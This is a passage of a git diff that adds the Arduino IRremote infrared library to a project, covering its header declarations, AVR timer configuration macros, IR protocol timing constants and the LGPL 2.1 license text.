2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.htm http://arcfn.com + * Edited by Mitra to add new controller SANYO + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef IRremote_h +#define IRremote_h + +// The following are compile-time library options. +// If you change them, recompile the library. +// If DEBUG is defined, a lot of debugging output will be printed during decoding. +// TEST must be defined for the IRtest unittests to work. It will make some +// methods virtual, which will be slightly slower, which is why it is optional. +// #define DEBUG +// #define TEST + +// Results returned from the decoder +class decode_results { +public: + int decode_type; // NEC, SONY, RC5, UNKNOWN + unsigned int panasonicAddress; // This is only used for decoding Panasonic data + unsigned long value; // Decoded value + int bits; // Number of bits in decoded value + volatile unsigned int *rawbuf; // Raw intervals in .5 us ticks + int rawlen; // Number of records in rawbuf. +}; + +// Values for decode_type +#define NEC 1 +#define SONY 2 +#define RC5 3 +#define RC6 4 +#define DISH 5 +#define SHARP 6 +#define PANASONIC 7 +#define JVC 8 +#define SANYO 9 +#define MITSUBISHI 10 +#define UNKNOWN -1 + +// Decoded value for NEC when a repeat code is received +#define REPEAT 0xffffffff + +// main class for receiving IR +class IRrecv +{ +public: + IRrecv(int recvpin); + void blink13(int blinkflag); + int decode(decode_results *results); + void enableIRIn(); + void resume(); +private: + // These are called by decode + int getRClevel(decode_results *results, int *offset, int *used, int t1); + long decodeNEC(decode_results *results); + long decodeSony(decode_results *results); + long decodeSanyo(decode_results *results); + long decodeMitsubishi(decode_results *results); + long decodeRC5(decode_results *results); + long decodeRC6(decode_results *results); + long decodePanasonic(decode_results *results); + long decodeJVC(decode_results *results); + long decodeHash(decode_results *results); + int compare(unsigned int oldval, unsigned int newval); + +} +; + +// Only used for testing; can remove virtual for shorter code +#ifdef TEST +#define VIRTUAL virtual +#else +#define VIRTUAL +#endif + +class IRsend +{ +public: + IRsend() {} + void sendNEC(unsigned long data, int nbits); + void sendSony(unsigned long data, int nbits); + // Neither Sanyo nor Mitsubishi send is implemented yet + // void sendSanyo(unsigned long data, int nbits); + // void sendMitsubishi(unsigned long data, int nbits); + void sendRaw(unsigned int buf[], int len, int hz); + void sendRC5(unsigned long data, int nbits); + void sendRC6(unsigned long data, int nbits); + void sendDISH(unsigned long data, int nbits); + void sendSharp(unsigned long data, int nbits); + void sendPanasonic(unsigned int address, unsigned long data); + void sendJVC(unsigned long data, int nbits, int repeat); // *Note instead of sending the REPEAT constant if you want the JVC repeat signal sent, send the original code value and change the repeat argument from 0 to 1. JVC protocol repeats by skipping the header NOT by sending a separate code value like NEC does. + // private: + void enableIROut(int khz); + VIRTUAL void mark(int usec); + VIRTUAL void space(int usec); +} +; + +// Some useful constants + +#define USECPERTICK 50 // microseconds per clock interrupt tick +#define RAWBUF 100 // Length of raw duration buffer + +// Marks tend to be 100us too long, and spaces 100us too short +// when received due to sensor lag. +#define MARK_EXCESS 100 + +#endif diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h b/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h new file mode 100755 index 0000000..824632f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h @@ -0,0 +1,457 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef IRremoteint_h +#define IRremoteint_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include +#else +#include +#endif + +// define which timer to use +// +// Uncomment the timer you wish to use on your board. If you +// are using another library which uses timer2, you have options +// to switch IRremote to use a different timer. + +// Arduino Mega +#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) + //#define IR_USE_TIMER1 // tx = pin 11 + #define IR_USE_TIMER2 // tx = pin 9 + //#define IR_USE_TIMER3 // tx = pin 5 + //#define IR_USE_TIMER4 // tx = pin 6 + //#define IR_USE_TIMER5 // tx = pin 46 + +// Teensy 1.0 +#elif defined(__AVR_AT90USB162__) + #define IR_USE_TIMER1 // tx = pin 17 + +// Teensy 2.0 +#elif defined(__AVR_ATmega32U4__) + //#define IR_USE_TIMER1 // tx = pin 14 + //#define IR_USE_TIMER3 // tx = pin 9 + #define IR_USE_TIMER4_HS // tx = pin 10 + +// Teensy++ 1.0 & 2.0 +#elif defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) + //#define IR_USE_TIMER1 // tx = pin 25 + #define IR_USE_TIMER2 // tx = pin 1 + //#define IR_USE_TIMER3 // tx = pin 16 + +// Sanguino +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) + //#define IR_USE_TIMER1 // tx = pin 13 + #define IR_USE_TIMER2 // tx = pin 14 + +// Atmega8 +#elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define IR_USE_TIMER1 // tx = pin 9 + +#elif defined( __AVR_ATtinyX4__ ) + #define IR_USE_TIMER1 // tx = pin 6 + +// Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc +#else + //#define IR_USE_TIMER1 // tx = pin 9 + #define IR_USE_TIMER2 // tx = pin 3 +#endif + + + +#ifdef F_CPU +#define SYSCLOCK F_CPU // main Arduino clock +#else +#define SYSCLOCK 16000000 // main Arduino clock +#endif + +#define ERR 0 +#define DECODED 1 + + +// defines for setting and clearing register bits +#ifndef cbi +#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) +#endif +#ifndef sbi +#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) +#endif + +// Pulse parms are *50-100 for the Mark and *50+100 for the space +// First MARK is the one after the long gap +// pulse parameters in usec +#define NEC_HDR_MARK 9000 +#define NEC_HDR_SPACE 4500 +#define NEC_BIT_MARK 560 +#define NEC_ONE_SPACE 1600 +#define NEC_ZERO_SPACE 560 +#define NEC_RPT_SPACE 2250 + +#define SONY_HDR_MARK 2400 +#define SONY_HDR_SPACE 600 +#define SONY_ONE_MARK 1200 +#define SONY_ZERO_MARK 600 +#define SONY_RPT_LENGTH 45000 +#define SONY_DOUBLE_SPACE_USECS 500 // usually ssee 713 - not using ticks as get number wrapround + +// SA 8650B +#define SANYO_HDR_MARK 3500 // seen range 3500 +#define SANYO_HDR_SPACE 950 // seen 950 +#define SANYO_ONE_MARK 2400 // seen 2400 +#define SANYO_ZERO_MARK 700 // seen 700 +#define SANYO_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +#define SANYO_RPT_LENGTH 45000 + +// Mitsubishi RM 75501 +// 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + +// #define MITSUBISHI_HDR_MARK 250 // seen range 3500 +#define MITSUBISHI_HDR_SPACE 350 // 7*50+100 +#define MITSUBISHI_ONE_MARK 1950 // 41*50-100 +#define MITSUBISHI_ZERO_MARK 750 // 17*50-100 +// #define MITSUBISHI_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +// #define MITSUBISHI_RPT_LENGTH 45000 + + +#define RC5_T1 889 +#define RC5_RPT_LENGTH 46000 + +#define RC6_HDR_MARK 2666 +#define RC6_HDR_SPACE 889 +#define RC6_T1 444 +#define RC6_RPT_LENGTH 46000 + +#define SHARP_BIT_MARK 245 +#define SHARP_ONE_SPACE 1805 +#define SHARP_ZERO_SPACE 795 +#define SHARP_GAP 600000 +#define SHARP_TOGGLE_MASK 0x3FF +#define SHARP_RPT_SPACE 3000 + +#define DISH_HDR_MARK 400 +#define DISH_HDR_SPACE 6100 +#define DISH_BIT_MARK 400 +#define DISH_ONE_SPACE 1700 +#define DISH_ZERO_SPACE 2800 +#define DISH_RPT_SPACE 6200 +#define DISH_TOP_BIT 0x8000 + +#define PANASONIC_HDR_MARK 3502 +#define PANASONIC_HDR_SPACE 1750 +#define PANASONIC_BIT_MARK 502 +#define PANASONIC_ONE_SPACE 1244 +#define PANASONIC_ZERO_SPACE 400 + +#define JVC_HDR_MARK 8000 +#define JVC_HDR_SPACE 4000 +#define JVC_BIT_MARK 600 +#define JVC_ONE_SPACE 1600 +#define JVC_ZERO_SPACE 550 +#define JVC_RPT_LENGTH 60000 + +#define SHARP_BITS 15 +#define DISH_BITS 16 + +#define TOLERANCE 25 // percent tolerance in measurements +#define LTOL (1.0 - TOLERANCE/100.) +#define UTOL (1.0 + TOLERANCE/100.) + +#define _GAP 5000 // Minimum map between transmissions +#define GAP_TICKS (_GAP/USECPERTICK) + +#define TICKS_LOW(us) (int) (((us)*LTOL/USECPERTICK)) +#define TICKS_HIGH(us) (int) (((us)*UTOL/USECPERTICK + 1)) + +// receiver states +#define STATE_IDLE 2 +#define STATE_MARK 3 +#define STATE_SPACE 4 +#define STATE_STOP 5 + +// information for the interrupt handler +typedef struct { + uint8_t recvpin; // pin for IR data from detector + uint8_t rcvstate; // state machine + uint8_t blinkflag; // TRUE to enable blinking of pin 13 on IR processing + unsigned int timer; // state timer, counts 50uS ticks. + unsigned int rawbuf[RAWBUF]; // raw data + uint8_t rawlen; // counter of entries in rawbuf +} +irparams_t; + +// Defined in IRremote.cpp +extern volatile irparams_t irparams; + +// IR detector output is active low +#define MARK 0 +#define SPACE 1 + +#define TOPBIT 0x80000000 + +#define NEC_BITS 32 +#define SONY_BITS 12 +#define SANYO_BITS 12 +#define MITSUBISHI_BITS 16 +#define MIN_RC5_SAMPLES 11 +#define MIN_RC6_SAMPLES 1 +#define PANASONIC_BITS 48 +#define JVC_BITS 16 + + + + +// defines for timer2 (8 bits) +#if defined(IR_USE_TIMER2) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR2A |= _BV(COM2B1)) +#define TIMER_DISABLE_PWM (TCCR2A &= ~(_BV(COM2B1))) +#define TIMER_ENABLE_INTR (TIMSK2 = _BV(OCIE2A)) +#define TIMER_DISABLE_INTR (TIMSK2 = 0) +#define TIMER_INTR_NAME TIMER2_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint8_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR2A = _BV(WGM20); \ + TCCR2B = _BV(WGM22) | _BV(CS20); \ + OCR2A = pwmval; \ + OCR2B = pwmval / 3; \ +}) +#define TIMER_COUNT_TOP (SYSCLOCK * USECPERTICK / 1000000) +#if (TIMER_COUNT_TOP < 256) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS20); \ + OCR2A = TIMER_COUNT_TOP; \ + TCNT2 = 0; \ +}) +#else +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS21); \ + OCR2A = TIMER_COUNT_TOP / 8; \ + TCNT2 = 0; \ +}) +#endif +#if defined(CORE_OC2B_PIN) +#define TIMER_PWM_PIN CORE_OC2B_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 9 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 14 /* Sanguino */ +#else +#define TIMER_PWM_PIN 3 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer1 (16 bits) +#elif defined(IR_USE_TIMER1) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR1A |= _BV(COM1A1)) +#define TIMER_DISABLE_PWM (TCCR1A &= ~(_BV(COM1A1))) +#if defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define TIMER_ENABLE_INTR (TIMSK = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK = 0) +#else + #define TIMER_ENABLE_INTR (TIMSK1 = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK1 = 0) +#endif + +#if defined(__AVR_ATtinyX4__) + #define TIMER_INTR_NAME TIM1_COMPA_vect +#else + #define TIMER_INTR_NAME TIMER1_COMPA_vect +#endif + +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR1A = _BV(WGM11); \ + TCCR1B = _BV(WGM13) | _BV(CS10); \ + ICR1 = pwmval; \ + OCR1A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR1A = 0; \ + TCCR1B = _BV(WGM12) | _BV(CS10); \ + OCR1A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT1 = 0; \ +}) +#if defined(CORE_OC1A_PIN) +#define TIMER_PWM_PIN CORE_OC1A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 11 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 13 /* Sanguino */ +#elif defined(__AVR_ATtinyX4__) +#define TIMER_PWM_PIN 6 /* ATTiny84 */ +#else +#define TIMER_PWM_PIN 9 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer3 (16 bits) +#elif defined(IR_USE_TIMER3) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR3A |= _BV(COM3A1)) +#define TIMER_DISABLE_PWM (TCCR3A &= ~(_BV(COM3A1))) +#define TIMER_ENABLE_INTR (TIMSK3 = _BV(OCIE3A)) +#define TIMER_DISABLE_INTR (TIMSK3 = 0) +#define TIMER_INTR_NAME TIMER3_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR3A = _BV(WGM31); \ + TCCR3B = _BV(WGM33) | _BV(CS30); \ + ICR3 = pwmval; \ + OCR3A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR3A = 0; \ + TCCR3B = _BV(WGM32) | _BV(CS30); \ + OCR3A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT3 = 0; \ +}) +#if defined(CORE_OC3A_PIN) +#define TIMER_PWM_PIN CORE_OC3A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 5 /* Arduino Mega */ +#else +#error "Please add OC3A pin number here\n" +#endif + + +// defines for timer4 (10 bits, high speed option) +#elif defined(IR_USE_TIMER4_HS) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(TOIE4)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_OVF_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = (1<> 8; \ + OCR4C = pwmval; \ + TC4H = (pwmval / 3) >> 8; \ + OCR4A = (pwmval / 3) & 255; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(CS40); \ + TCCR4C = 0; \ + TCCR4D = 0; \ + TCCR4E = 0; \ + TC4H = (SYSCLOCK * USECPERTICK / 1000000) >> 8; \ + OCR4C = (SYSCLOCK * USECPERTICK / 1000000) & 255; \ + TC4H = 0; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN /* Teensy */ +#elif defined(__AVR_ATmega32U4__) +#define TIMER_PWM_PIN 13 /* Leonardo */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer4 (16 bits) +#elif defined(IR_USE_TIMER4) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(OCIE4A)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = _BV(WGM41); \ + TCCR4B = _BV(WGM43) | _BV(CS40); \ + ICR4 = pwmval; \ + OCR4A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(WGM42) | _BV(CS40); \ + OCR4A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 6 /* Arduino Mega */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer5 (16 bits) +#elif defined(IR_USE_TIMER5) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR5A |= _BV(COM5A1)) +#define TIMER_DISABLE_PWM (TCCR5A &= ~(_BV(COM5A1))) +#define TIMER_ENABLE_INTR (TIMSK5 = _BV(OCIE5A)) +#define TIMER_DISABLE_INTR (TIMSK5 = 0) +#define TIMER_INTR_NAME TIMER5_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR5A = _BV(WGM51); \ + TCCR5B = _BV(WGM53) | _BV(CS50); \ + ICR5 = pwmval; \ + OCR5A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR5A = 0; \ + TCCR5B = _BV(WGM52) | _BV(CS50); \ + OCR5A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT5 = 0; \ +}) +#if defined(CORE_OC5A_PIN) +#define TIMER_PWM_PIN CORE_OC5A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 46 /* Arduino Mega */ +#else +#error "Please add OC5A pin number here\n" +#endif + + +#else // unknown timer +#error "Internal code configuration error, no known IR_USE_TIMER# defined\n" +#endif + + +// defines for blinking the LED +#if defined(CORE_LED0_PIN) +#define BLINKLED CORE_LED0_PIN +#define BLINKLED_ON() (digitalWrite(CORE_LED0_PIN, HIGH)) +#define BLINKLED_OFF() (digitalWrite(CORE_LED0_PIN, LOW)) +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B10000000) +#define BLINKLED_OFF() (PORTB &= B01111111) +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define BLINKLED 0 +#define BLINKLED_ON() (PORTD |= B00000001) +#define BLINKLED_OFF() (PORTD &= B11111110) +#else +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B00100000) +#define BLINKLED_OFF() (PORTB &= B11011111) +#endif + +#endif diff --git a/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt b/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you 